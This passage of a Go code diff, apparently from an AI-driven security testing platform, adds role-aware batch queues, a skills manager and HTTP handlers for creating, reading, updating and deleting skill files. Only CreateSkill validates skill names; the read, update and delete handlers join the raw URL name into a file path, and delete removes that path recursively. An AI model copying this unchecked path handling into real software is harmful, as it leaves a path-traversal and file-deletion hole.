h.logger.Error("保存用户消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
@@ -1116,14 +1172,15 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
}
progressCallback := h.createProgressCallback(conversationID, assistantMessageID, nil)
// 执行任务
h.logger.Info("执行批量任务", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("message", task.Message), zap.String("conversationId", conversationID))
// 执行任务(使用包含角色提示词的finalMessage和角色工具列表)
h.logger.Info("执行批量任务", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("message", task.Message), zap.String("role", queue.Role), zap.String("conversationId", conversationID))
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Minute)
// 存储取消函数,以便在取消队列时能够取消当前任务
h.batchTaskManager.SetTaskCancel(queueID, cancel)
// 批量任务暂时不支持角色工具过滤,使用所有工具(传入nil
result, err := h.agent.AgentLoopWithProgress(ctx, task.Message, []agent.ChatMessage{}, conversationID, progressCallback, nil)
// 使用队列配置的角色工具列表(如果为空,表示使用所有工具
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools, roleSkills)
// 任务执行完成,清理取消函数
h.batchTaskManager.SetTaskCancel(queueID, nil)
cancel()
+10 -2
View File
@@ -29,6 +29,7 @@ type BatchTask struct {
type BatchTaskQueue struct {
ID string `json:"id"`
Title string `json:"title,omitempty"`
Role string `json:"role,omitempty"` // 角色名称(空字符串表示默认角色)
Tasks []*BatchTask `json:"tasks"`
Status string `json:"status"` // pending, running, paused, completed, cancelled
CreatedAt time.Time `json:"createdAt"`
@@ -62,7 +63,7 @@ func (m *BatchTaskManager) SetDB(db *database.DB) {
}
// CreateBatchQueue 创建批量任务队列
func (m *BatchTaskManager) CreateBatchQueue(title string, tasks []string) *BatchTaskQueue {
func (m *BatchTaskManager) CreateBatchQueue(title, role string, tasks []string) *BatchTaskQueue {
m.mu.Lock()
defer m.mu.Unlock()
@@ -70,6 +71,7 @@ func (m *BatchTaskManager) CreateBatchQueue(title string, tasks []string) *Batch
queue := &BatchTaskQueue{
ID: queueID,
Title: title,
Role: role,
Tasks: make([]*BatchTask, 0, len(tasks)),
Status: "pending",
CreatedAt: time.Now(),
@@ -98,7 +100,7 @@ func (m *BatchTaskManager) CreateBatchQueue(title string, tasks []string) *Batch
// 保存到数据库
if m.db != nil {
if err := m.db.CreateBatchQueue(queueID, title, dbTasks); err != nil {
if err := m.db.CreateBatchQueue(queueID, title, role, dbTasks); err != nil {
// 如果数据库保存失败,记录错误但继续(使用内存缓存)
// 这里可以添加日志记录
}
@@ -158,6 +160,9 @@ func (m *BatchTaskManager) loadQueueFromDB(queueID string) *BatchTaskQueue {
if queueRow.Title.Valid {
queue.Title = queueRow.Title.String
}
if queueRow.Role.Valid {
queue.Role = queueRow.Role.String
}
if queueRow.StartedAt.Valid {
queue.StartedAt = &queueRow.StartedAt.Time
}
@@ -351,6 +356,9 @@ func (m *BatchTaskManager) LoadFromDB() error {
if queueRow.Title.Valid {
queue.Title = queueRow.Title.String
}
if queueRow.Role.Valid {
queue.Role = queueRow.Role.String
}
if queueRow.StartedAt.Valid {
queue.StartedAt = &queueRow.StartedAt.Time
}
+37 -3
View File
@@ -18,9 +18,15 @@ import (
// RoleHandler 角色处理器
type RoleHandler struct {
config *config.Config
configPath string
logger *zap.Logger
config *config.Config
configPath string
logger *zap.Logger
skillsManager SkillsManager // Skills管理器接口(可选)
}
// SkillsManager Skills管理器接口
type SkillsManager interface {
ListSkills() ([]string, error)
}
// NewRoleHandler 创建新的角色处理器
@@ -32,6 +38,34 @@ func NewRoleHandler(cfg *config.Config, configPath string, logger *zap.Logger) *
}
}
// SetSkillsManager 设置Skills管理器
func (h *RoleHandler) SetSkillsManager(manager SkillsManager) {
h.skillsManager = manager
}
// GetSkills 获取所有可用的skills列表
func (h *RoleHandler) GetSkills(c *gin.Context) {
if h.skillsManager == nil {
c.JSON(http.StatusOK, gin.H{
"skills": []string{},
})
return
}
skills, err := h.skillsManager.ListSkills()
if err != nil {
h.logger.Warn("获取skills列表失败", zap.Error(err))
c.JSON(http.StatusOK, gin.H{
"skills": []string{},
})
return
}
c.JSON(http.StatusOK, gin.H{
"skills": skills,
})
}
// GetRoles 获取所有角色
func (h *RoleHandler) GetRoles(c *gin.Context) {
if h.config.Roles == nil {
+778
View File
@@ -0,0 +1,778 @@
package handler
import (
"fmt"
"net/http"
"os"
"path/filepath"
"regexp"
"strings"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/skills"
"github.com/gin-gonic/gin"
"go.uber.org/zap"
"gopkg.in/yaml.v3"
)
// SkillsHandler Skills处理器
type SkillsHandler struct {
manager *skills.Manager
config *config.Config
configPath string
logger *zap.Logger
db *database.DB // 数据库连接(用于获取调用统计)
}
// NewSkillsHandler 创建新的Skills处理器
func NewSkillsHandler(manager *skills.Manager, cfg *config.Config, configPath string, logger *zap.Logger) *SkillsHandler {
return &SkillsHandler{
manager: manager,
config: cfg,
configPath: configPath,
logger: logger,
}
}
// SetDB 设置数据库连接(用于获取调用统计)
func (h *SkillsHandler) SetDB(db *database.DB) {
h.db = db
}
// GetSkills 获取所有skills列表(支持分页和搜索)
func (h *SkillsHandler) GetSkills(c *gin.Context) {
skillList, err := h.manager.ListSkills()
if err != nil {
h.logger.Error("获取skills列表失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
// 搜索参数
searchKeyword := strings.TrimSpace(c.Query("search"))
// 先加载所有skills的详细信息用于搜索过滤
allSkillsInfo := make([]map[string]interface{}, 0, len(skillList))
for _, skillName := range skillList {
skill, err := h.manager.LoadSkill(skillName)
if err != nil {
h.logger.Warn("加载skill失败", zap.String("skill", skillName), zap.Error(err))
continue
}
// 获取文件信息
skillPath := skill.Path
skillFile := filepath.Join(skillPath, "SKILL.md")
// 尝试其他可能的文件名
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
alternatives := []string{
filepath.Join(skillPath, "skill.md"),
filepath.Join(skillPath, "README.md"),
filepath.Join(skillPath, "readme.md"),
}
for _, alt := range alternatives {
if _, err := os.Stat(alt); err == nil {
skillFile = alt
break
}
}
}
fileInfo, _ := os.Stat(skillFile)
var fileSize int64
var modTime string
if fileInfo != nil {
fileSize = fileInfo.Size()
modTime = fileInfo.ModTime().Format("2006-01-02 15:04:05")
}
skillInfo := map[string]interface{}{
"name": skill.Name,
"description": skill.Description,
"path": skill.Path,
"file_size": fileSize,
"mod_time": modTime,
}
allSkillsInfo = append(allSkillsInfo, skillInfo)
}
// 如果有搜索关键词,进行过滤
filteredSkillsInfo := allSkillsInfo
if searchKeyword != "" {
keywordLower := strings.ToLower(searchKeyword)
filteredSkillsInfo = make([]map[string]interface{}, 0)
for _, skillInfo := range allSkillsInfo {
name := strings.ToLower(fmt.Sprintf("%v", skillInfo["name"]))
description := strings.ToLower(fmt.Sprintf("%v", skillInfo["description"]))
path := strings.ToLower(fmt.Sprintf("%v", skillInfo["path"]))
if strings.Contains(name, keywordLower) ||
strings.Contains(description, keywordLower) ||
strings.Contains(path, keywordLower) {
filteredSkillsInfo = append(filteredSkillsInfo, skillInfo)
}
}
}
// 分页参数
limit := 20 // 默认每页20条
offset := 0
if limitStr := c.Query("limit"); limitStr != "" {
if parsed, err := parseInt(limitStr); err == nil && parsed > 0 {
// 允许更大的limit用于搜索场景,但设置一个合理的上限(10000)
if parsed <= 10000 {
limit = parsed
} else {
limit = 10000
}
}
}
if offsetStr := c.Query("offset"); offsetStr != "" {
if parsed, err := parseInt(offsetStr); err == nil && parsed >= 0 {
offset = parsed
}
}
// 计算分页范围
total := len(filteredSkillsInfo)
start := offset
end := offset + limit
if start > total {
start = total
}
if end > total {
end = total
}
// 获取当前页的skill列表
var paginatedSkillsInfo []map[string]interface{}
if start < end {
paginatedSkillsInfo = filteredSkillsInfo[start:end]
} else {
paginatedSkillsInfo = []map[string]interface{}{}
}
c.JSON(http.StatusOK, gin.H{
"skills": paginatedSkillsInfo,
"total": total,
"limit": limit,
"offset": offset,
})
}
// GetSkill 获取单个skill的详细信息
func (h *SkillsHandler) GetSkill(c *gin.Context) {
skillName := c.Param("name")
if skillName == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
return
}
skill, err := h.manager.LoadSkill(skillName)
if err != nil {
h.logger.Warn("加载skill失败", zap.String("skill", skillName), zap.Error(err))
c.JSON(http.StatusNotFound, gin.H{"error": "skill不存在: " + err.Error()})
return
}
// 获取文件信息
skillPath := skill.Path
skillFile := filepath.Join(skillPath, "SKILL.md")
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
alternatives := []string{
filepath.Join(skillPath, "skill.md"),
filepath.Join(skillPath, "README.md"),
filepath.Join(skillPath, "readme.md"),
}
for _, alt := range alternatives {
if _, err := os.Stat(alt); err == nil {
skillFile = alt
break
}
}
}
fileInfo, _ := os.Stat(skillFile)
var fileSize int64
var modTime string
if fileInfo != nil {
fileSize = fileInfo.Size()
modTime = fileInfo.ModTime().Format("2006-01-02 15:04:05")
}
c.JSON(http.StatusOK, gin.H{
"skill": map[string]interface{}{
"name": skill.Name,
"description": skill.Description,
"content": skill.Content,
"path": skill.Path,
"file_size": fileSize,
"mod_time": modTime,
},
})
}
// GetSkillBoundRoles 获取绑定指定skill的角色列表
func (h *SkillsHandler) GetSkillBoundRoles(c *gin.Context) {
skillName := c.Param("name")
if skillName == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
return
}
boundRoles := h.getRolesBoundToSkill(skillName)
c.JSON(http.StatusOK, gin.H{
"skill": skillName,
"bound_roles": boundRoles,
"bound_count": len(boundRoles),
})
}
// getRolesBoundToSkill 获取绑定指定skill的角色列表(不修改配置)
func (h *SkillsHandler) getRolesBoundToSkill(skillName string) []string {
if h.config.Roles == nil {
return []string{}
}
boundRoles := make([]string, 0)
for roleName, role := range h.config.Roles {
// 确保角色名称正确设置
if role.Name == "" {
role.Name = roleName
}
// 检查角色的Skills列表中是否包含该skill
if len(role.Skills) > 0 {
for _, skill := range role.Skills {
if skill == skillName {
boundRoles = append(boundRoles, roleName)
break
}
}
}
}
return boundRoles
}
// CreateSkill 创建新skill
func (h *SkillsHandler) CreateSkill(c *gin.Context) {
var req struct {
Name string `json:"name" binding:"required"`
Description string `json:"description"`
Content string `json:"content" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
return
}
// 验证skill名称(只允许字母、数字、连字符和下划线)
if !isValidSkillName(req.Name) {
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称只能包含字母、数字、连字符和下划线"})
return
}
// 获取skills目录
skillsDir := h.config.SkillsDir
if skillsDir == "" {
skillsDir = "skills"
}
configDir := filepath.Dir(h.configPath)
if !filepath.IsAbs(skillsDir) {
skillsDir = filepath.Join(configDir, skillsDir)
}
// 创建skill目录
skillDir := filepath.Join(skillsDir, req.Name)
if err := os.MkdirAll(skillDir, 0755); err != nil {
h.logger.Error("创建skill目录失败", zap.String("skill", req.Name), zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "创建skill目录失败: " + err.Error()})
return
}
// 检查是否已存在
skillFile := filepath.Join(skillDir, "SKILL.md")
if _, err := os.Stat(skillFile); err == nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "skill已存在"})
return
}
// 构建SKILL.md内容
var content strings.Builder
content.WriteString("---\n")
content.WriteString(fmt.Sprintf("name: %s\n", req.Name))
if req.Description != "" {
// 如果描述包含特殊字符,需要加引号
desc := req.Description
if strings.Contains(desc, ":") || strings.Contains(desc, "\n") {
desc = fmt.Sprintf(`"%s"`, strings.ReplaceAll(desc, `"`, `\"`))
}
content.WriteString(fmt.Sprintf("description: %s\n", desc))
}
content.WriteString("version: 1.0.0\n")
content.WriteString("---\n\n")
content.WriteString(req.Content)
// 写入文件
if err := os.WriteFile(skillFile, []byte(content.String()), 0644); err != nil {
h.logger.Error("创建skill文件失败", zap.String("skill", req.Name), zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "创建skill文件失败: " + err.Error()})
return
}
h.logger.Info("创建skill成功", zap.String("skill", req.Name))
c.JSON(http.StatusOK, gin.H{
"message": "skill已创建",
"skill": map[string]interface{}{
"name": req.Name,
"path": skillDir,
},
})
}
// UpdateSkill 更新skill
func (h *SkillsHandler) UpdateSkill(c *gin.Context) {
skillName := c.Param("name")
if skillName == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
return
}
var req struct {
Description string `json:"description"`
Content string `json:"content" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
return
}
// 获取skills目录
skillsDir := h.config.SkillsDir
if skillsDir == "" {
skillsDir = "skills"
}
configDir := filepath.Dir(h.configPath)
if !filepath.IsAbs(skillsDir) {
skillsDir = filepath.Join(configDir, skillsDir)
}
// 查找skill文件
skillDir := filepath.Join(skillsDir, skillName)
skillFile := filepath.Join(skillDir, "SKILL.md")
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
alternatives := []string{
filepath.Join(skillDir, "skill.md"),
filepath.Join(skillDir, "README.md"),
filepath.Join(skillDir, "readme.md"),
}
found := false
for _, alt := range alternatives {
if _, err := os.Stat(alt); err == nil {
skillFile = alt
found = true
break
}
}
if !found {
c.JSON(http.StatusNotFound, gin.H{"error": "skill不存在"})
return
}
}
// 读取现有文件以保留front matter中的name
existingContent, err := os.ReadFile(skillFile)
if err != nil {
h.logger.Error("读取skill文件失败", zap.String("skill", skillName), zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "读取skill文件失败: " + err.Error()})
return
}
// 解析现有内容,提取name
existingName := skillName
contentStr := string(existingContent)
if strings.HasPrefix(contentStr, "---") {
parts := strings.SplitN(contentStr, "---", 3)
if len(parts) >= 2 {
frontMatter := parts[1]
lines := strings.Split(frontMatter, "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "name:") {
name := strings.TrimSpace(strings.TrimPrefix(line, "name:"))
name = strings.Trim(name, `"'`)
if name != "" {
existingName = name
}
break
}
}
}
}
// 构建新的SKILL.md内容
var newContent strings.Builder
newContent.WriteString("---\n")
newContent.WriteString(fmt.Sprintf("name: %s\n", existingName))
if req.Description != "" {
// 如果描述包含特殊字符,需要加引号
desc := req.Description
if strings.Contains(desc, ":") || strings.Contains(desc, "\n") {
desc = fmt.Sprintf(`"%s"`, strings.ReplaceAll(desc, `"`, `\"`))
}
newContent.WriteString(fmt.Sprintf("description: %s\n", desc))
}
newContent.WriteString("version: 1.0.0\n")
newContent.WriteString("---\n\n")
newContent.WriteString(req.Content)
// 写入文件(统一使用SKILL.md)
targetFile := filepath.Join(skillDir, "SKILL.md")
if err := os.WriteFile(targetFile, []byte(newContent.String()), 0644); err != nil {
h.logger.Error("更新skill文件失败", zap.String("skill", skillName), zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "更新skill文件失败: " + err.Error()})
return
}
// 如果原文件不是SKILL.md,删除旧文件
if skillFile != targetFile {
os.Remove(skillFile)
}
h.logger.Info("更新skill成功", zap.String("skill", skillName))
c.JSON(http.StatusOK, gin.H{
"message": "skill已更新",
})
}
// DeleteSkill 删除skill
func (h *SkillsHandler) DeleteSkill(c *gin.Context) {
skillName := c.Param("name")
if skillName == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
return
}
// 检查是否有角色绑定了该skill,如果有则自动移除绑定
affectedRoles := h.removeSkillFromRoles(skillName)
if len(affectedRoles) > 0 {
h.logger.Info("从角色中移除skill绑定",
zap.String("skill", skillName),
zap.Strings("roles", affectedRoles))
}
// 获取skills目录
skillsDir := h.config.SkillsDir
if skillsDir == "" {
skillsDir = "skills"
}
configDir := filepath.Dir(h.configPath)
if !filepath.IsAbs(skillsDir) {
skillsDir = filepath.Join(configDir, skillsDir)
}
// 删除skill目录
skillDir := filepath.Join(skillsDir, skillName)
if err := os.RemoveAll(skillDir); err != nil {
h.logger.Error("删除skill失败", zap.String("skill", skillName), zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "删除skill失败: " + err.Error()})
return
}
responseMsg := "skill已删除"
if len(affectedRoles) > 0 {
responseMsg = fmt.Sprintf("skill已删除,已自动从 %d 个角色中移除绑定: %s",
len(affectedRoles), strings.Join(affectedRoles, ", "))
}
h.logger.Info("删除skill成功", zap.String("skill", skillName))
c.JSON(http.StatusOK, gin.H{
"message": responseMsg,
"affected_roles": affectedRoles,
})
}
// GetSkillStats 获取skills调用统计信息
func (h *SkillsHandler) GetSkillStats(c *gin.Context) {
skillList, err := h.manager.ListSkills()
if err != nil {
h.logger.Error("获取skills列表失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
// 获取skills目录
skillsDir := h.config.SkillsDir
if skillsDir == "" {
skillsDir = "skills"
}
configDir := filepath.Dir(h.configPath)
if !filepath.IsAbs(skillsDir) {
skillsDir = filepath.Join(configDir, skillsDir)
}
// 从数据库加载调用统计
var skillStatsMap map[string]*database.SkillStats
if h.db != nil {
dbStats, err := h.db.LoadSkillStats()
if err != nil {
h.logger.Warn("从数据库加载Skills统计信息失败", zap.Error(err))
skillStatsMap = make(map[string]*database.SkillStats)
} else {
skillStatsMap = dbStats
}
} else {
skillStatsMap = make(map[string]*database.SkillStats)
}
// 构建统计信息(包含所有skills,即使没有调用记录)
statsList := make([]map[string]interface{}, 0, len(skillList))
totalCalls := 0
totalSuccess := 0
totalFailed := 0
for _, skillName := range skillList {
stat, exists := skillStatsMap[skillName]
if !exists {
stat = &database.SkillStats{
SkillName: skillName,
TotalCalls: 0,
SuccessCalls: 0,
FailedCalls: 0,
}
}
totalCalls += stat.TotalCalls
totalSuccess += stat.SuccessCalls
totalFailed += stat.FailedCalls
lastCallTimeStr := ""
if stat.LastCallTime != nil {
lastCallTimeStr = stat.LastCallTime.Format("2006-01-02 15:04:05")
}
statsList = append(statsList, map[string]interface{}{
"skill_name": stat.SkillName,
"total_calls": stat.TotalCalls,
"success_calls": stat.SuccessCalls,
"failed_calls": stat.FailedCalls,
"last_call_time": lastCallTimeStr,
})
}
c.JSON(http.StatusOK, gin.H{
"total_skills": len(skillList),
"total_calls": totalCalls,
"total_success": totalSuccess,
"total_failed": totalFailed,
"skills_dir": skillsDir,
"stats": statsList,
})
}
// ClearSkillStats 清空所有Skills统计信息
func (h *SkillsHandler) ClearSkillStats(c *gin.Context) {
if h.db == nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "数据库连接未配置"})
return
}
if err := h.db.ClearSkillStats(); err != nil {
h.logger.Error("清空Skills统计信息失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "清空统计信息失败: " + err.Error()})
return
}
h.logger.Info("已清空所有Skills统计信息")
c.JSON(http.StatusOK, gin.H{
"message": "已清空所有Skills统计信息",
})
}
// ClearSkillStatsByName 清空指定skill的统计信息
func (h *SkillsHandler) ClearSkillStatsByName(c *gin.Context) {
skillName := c.Param("name")
if skillName == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "skill名称不能为空"})
return
}
if h.db == nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "数据库连接未配置"})
return
}
if err := h.db.ClearSkillStatsByName(skillName); err != nil {
h.logger.Error("清空指定skill统计信息失败", zap.String("skill", skillName), zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": "清空统计信息失败: " + err.Error()})
return
}
h.logger.Info("已清空指定skill统计信息", zap.String("skill", skillName))
c.JSON(http.StatusOK, gin.H{
"message": fmt.Sprintf("已清空skill '%s' 的统计信息", skillName),
})
}
// removeSkillFromRoles 从所有角色中移除指定的skill绑定
// 返回受影响角色名称列表
func (h *SkillsHandler) removeSkillFromRoles(skillName string) []string {
if h.config.Roles == nil {
return []string{}
}
affectedRoles := make([]string, 0)
rolesToUpdate := make(map[string]config.RoleConfig)
// 遍历所有角色,查找并移除skill绑定
for roleName, role := range h.config.Roles {
// 确保角色名称正确设置
if role.Name == "" {
role.Name = roleName
}
// 检查角色的Skills列表中是否包含要删除的skill
if len(role.Skills) > 0 {
updated := false
newSkills := make([]string, 0, len(role.Skills))
for _, skill := range role.Skills {
if skill != skillName {
newSkills = append(newSkills, skill)
} else {
updated = true
}
}
if updated {
role.Skills = newSkills
rolesToUpdate[roleName] = role
affectedRoles = append(affectedRoles, roleName)
}
}
}
// 如果有角色需要更新,保存到文件
if len(rolesToUpdate) > 0 {
// 更新内存中的配置
for roleName, role := range rolesToUpdate {
h.config.Roles[roleName] = role
}
// 保存更新后的角色配置到文件
if err := h.saveRolesConfig(); err != nil {
h.logger.Error("保存角色配置失败", zap.Error(err))
}
}
return affectedRoles
}
// saveRolesConfig 保存角色配置到文件(从SkillsHandler调用)
func (h *SkillsHandler) saveRolesConfig() error {
configDir := filepath.Dir(h.configPath)
rolesDir := h.config.RolesDir
if rolesDir == "" {
rolesDir = "roles" // 默认目录
}
// 如果是相对路径,相对于配置文件所在目录
if !filepath.IsAbs(rolesDir) {
rolesDir = filepath.Join(configDir, rolesDir)
}
// 确保目录存在
if err := os.MkdirAll(rolesDir, 0755); err != nil {
return fmt.Errorf("创建角色目录失败: %w", err)
}
// 保存每个角色到独立的文件
if h.config.Roles != nil {
for roleName, role := range h.config.Roles {
// 确保角色名称正确设置
if role.Name == "" {
role.Name = roleName
}
// 使用角色名称作为文件名(安全化文件名,避免特殊字符)
safeFileName := sanitizeRoleFileName(role.Name)
roleFile := filepath.Join(rolesDir, safeFileName+".yaml")
// 将角色配置序列化为YAML
roleData, err := yaml.Marshal(&role)
if err != nil {
h.logger.Error("序列化角色配置失败", zap.String("role", roleName), zap.Error(err))
continue
}
// 处理icon字段:确保包含\U的icon值被引号包围(YAML需要引号才能正确解析Unicode转义)
roleDataStr := string(roleData)
if role.Icon != "" && strings.HasPrefix(role.Icon, "\\U") {
// 匹配 icon: \UXXXXXXXX 格式(没有引号),排除已经有引号的情况
re := regexp.MustCompile(`(?m)^(icon:\s+)(\\U[0-9A-F]{8})(\s*)$`)
roleDataStr = re.ReplaceAllString(roleDataStr, `${1}"${2}"${3}`)
roleData = []byte(roleDataStr)
}
// 写入文件
if err := os.WriteFile(roleFile, roleData, 0644); err != nil {
h.logger.Error("保存角色配置文件失败", zap.String("role", roleName), zap.String("file", roleFile), zap.Error(err))
continue
}
h.logger.Info("角色配置已保存到文件", zap.String("role", roleName), zap.String("file", roleFile))
}
}
return nil
}
// sanitizeRoleFileName 将角色名称转换为安全的文件名
func sanitizeRoleFileName(name string) string {
// 替换可能不安全的字符
replacer := map[rune]string{
'/': "_",
'\\': "_",
':': "_",
'*': "_",
'?': "_",
'"': "_",
'<': "_",
'>': "_",
'|': "_",
' ': "_",
}
var result []rune
for _, r := range name {
if replacement, ok := replacer[r]; ok {
result = append(result, []rune(replacement)...)
} else {
result = append(result, r)
}
}
fileName := string(result)
// 如果文件名为空,使用默认名称
if fileName == "" {
fileName = "role"
}
return fileName
}
// isValidSkillName 验证skill名称是否有效
func isValidSkillName(name string) bool {
if name == "" || len(name) > 100 {
return false
}
// 只允许字母、数字、连字符和下划线
for _, r := range name {
if !((r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_') {
return false
}
}
return true
}
+9 -1
View File
@@ -9,6 +9,10 @@ const (
// 知识库工具
ToolListKnowledgeRiskTypes = "list_knowledge_risk_types"
ToolSearchKnowledgeBase = "search_knowledge_base"
// Skills工具
ToolListSkills = "list_skills"
ToolReadSkill = "read_skill"
)
// IsBuiltinTool 检查工具名称是否是内置工具
@@ -16,7 +20,9 @@ func IsBuiltinTool(toolName string) bool {
switch toolName {
case ToolRecordVulnerability,
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase:
ToolSearchKnowledgeBase,
ToolListSkills,
ToolReadSkill:
return true
default:
return false
@@ -29,5 +35,7 @@ func GetAllBuiltinTools() []string {
ToolRecordVulnerability,
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase,
ToolListSkills,
ToolReadSkill,
}
}
+8
View File
@@ -3,6 +3,7 @@ package security
import (
"bufio"
"context"
"encoding/json"
"fmt"
"io"
"os/exec"
@@ -616,6 +617,13 @@ func (e *Executor) formatParamValue(param config.ParameterConfig, value interfac
return strings.Join(strs, ",")
}
return fmt.Sprintf("%v", value)
case "object":
// 对象/字典:序列化为 JSON 字符串
if jsonBytes, err := json.Marshal(value); err == nil {
return string(jsonBytes)
}
// 如果 JSON 序列化失败,回退到默认格式化
return fmt.Sprintf("%v", value)
default:
formattedValue := fmt.Sprintf("%v", value)
// 特殊处理:对于 ports 参数(通常是 nmap 等工具的端口参数),清理空格
+239
View File
@@ -0,0 +1,239 @@
package skills
import (
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"go.uber.org/zap"
)
// Manager Skills管理器
type Manager struct {
skillsDir string
logger *zap.Logger
skills map[string]*Skill // 缓存已加载的skills
mu sync.RWMutex // 保护skills map的并发访问
}
// Skill Skill定义
type Skill struct {
Name string // Skill名称
Description string // Skill描述
Content string // Skill内容(从SKILL.md中提取)
Path string // Skill路径
}
// NewManager 创建新的Skills管理器
func NewManager(skillsDir string, logger *zap.Logger) *Manager {
return &Manager{
skillsDir: skillsDir,
logger: logger,
skills: make(map[string]*Skill),
}
}
// LoadSkill 加载单个skill
func (m *Manager) LoadSkill(skillName string) (*Skill, error) {
// 先尝试读锁检查缓存
m.mu.RLock()
if skill, exists := m.skills[skillName]; exists {
m.mu.RUnlock()
return skill, nil
}
m.mu.RUnlock()
// 构建skill路径
skillPath := filepath.Join(m.skillsDir, skillName)
// 检查目录是否存在
if _, err := os.Stat(skillPath); os.IsNotExist(err) {
return nil, fmt.Errorf("skill %s not found", skillName)
}
// 查找SKILL.md文件
skillFile := filepath.Join(skillPath, "SKILL.md")
if _, err := os.Stat(skillFile); os.IsNotExist(err) {
// 尝试其他可能的文件名
alternatives := []string{
filepath.Join(skillPath, "skill.md"),
filepath.Join(skillPath, "README.md"),
filepath.Join(skillPath, "readme.md"),
}
found := false
for _, alt := range alternatives {
if _, err := os.Stat(alt); err == nil {
skillFile = alt
found = true
break
}
}
if !found {
return nil, fmt.Errorf("skill file not found for %s", skillName)
}
}
// 读取skill文件
content, err := os.ReadFile(skillFile)
if err != nil {
return nil, fmt.Errorf("failed to read skill file: %w", err)
}
// 解析skill内容
skill := m.parseSkillContent(string(content), skillName, skillPath)
// 使用写锁缓存skill(双重检查,避免重复加载)
m.mu.Lock()
// 再次检查,可能其他goroutine已经加载了
if existing, exists := m.skills[skillName]; exists {
m.mu.Unlock()
return existing, nil
}
m.skills[skillName] = skill
m.mu.Unlock()
return skill, nil
}
// LoadSkills 批量加载skills
func (m *Manager) LoadSkills(skillNames []string) ([]*Skill, error) {
var skills []*Skill
var errors []string
for _, name := range skillNames {
skill, err := m.LoadSkill(name)
if err != nil {
errors = append(errors, fmt.Sprintf("failed to load skill %s: %v", name, err))
m.logger.Warn("加载skill失败", zap.String("skill", name), zap.Error(err))
continue
}
skills = append(skills, skill)
}
if len(errors) > 0 && len(skills) == 0 {
return nil, fmt.Errorf("failed to load any skills: %s", strings.Join(errors, "; "))
}
return skills, nil
}
// ListSkills 列出所有可用的skills
func (m *Manager) ListSkills() ([]string, error) {
if _, err := os.Stat(m.skillsDir); os.IsNotExist(err) {
return []string{}, nil
}
entries, err := os.ReadDir(m.skillsDir)
if err != nil {
return nil, fmt.Errorf("failed to read skills directory: %w", err)
}
var skills []string
for _, entry := range entries {
if !entry.IsDir() {
continue
}
skillName := entry.Name()
// 检查是否有SKILL.md文件
skillFile := filepath.Join(m.skillsDir, skillName, "SKILL.md")
if _, err := os.Stat(skillFile); err == nil {
skills = append(skills, skillName)
continue
}
// 尝试其他可能的文件名
alternatives := []string{
filepath.Join(m.skillsDir, skillName, "skill.md"),
filepath.Join(m.skillsDir, skillName, "README.md"),
filepath.Join(m.skillsDir, skillName, "readme.md"),
}
for _, alt := range alternatives {
if _, err := os.Stat(alt); err == nil {
skills = append(skills, skillName)
break
}
}
}
return skills, nil
}
// parseSkillContent 解析skill内容
// 支持YAML front matter格式,类似goskills
func (m *Manager) parseSkillContent(content, skillName, skillPath string) *Skill {
skill := &Skill{
Name: skillName,
Path: skillPath,
}
// 检查是否有YAML front matter
if strings.HasPrefix(content, "---") {
parts := strings.SplitN(content, "---", 3)
if len(parts) >= 3 {
// 解析front matter(简单实现,只提取name和description
frontMatter := parts[1]
lines := strings.Split(frontMatter, "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "name:") {
name := strings.TrimSpace(strings.TrimPrefix(line, "name:"))
name = strings.Trim(name, `"'"`)
if name != "" {
skill.Name = name
}
} else if strings.HasPrefix(line, "description:") {
desc := strings.TrimSpace(strings.TrimPrefix(line, "description:"))
desc = strings.Trim(desc, `"'"`)
skill.Description = desc
}
}
// 剩余部分是内容
if len(parts) == 3 {
skill.Content = strings.TrimSpace(parts[2])
}
} else {
// 没有front matter,整个内容就是skill内容
skill.Content = content
}
} else {
// 没有front matter,整个内容就是skill内容
skill.Content = content
}
// 如果内容为空,使用描述作为内容
if skill.Content == "" {
skill.Content = skill.Description
}
return skill
}
// GetSkillContent 获取skill的完整内容(用于注入到系统提示词)
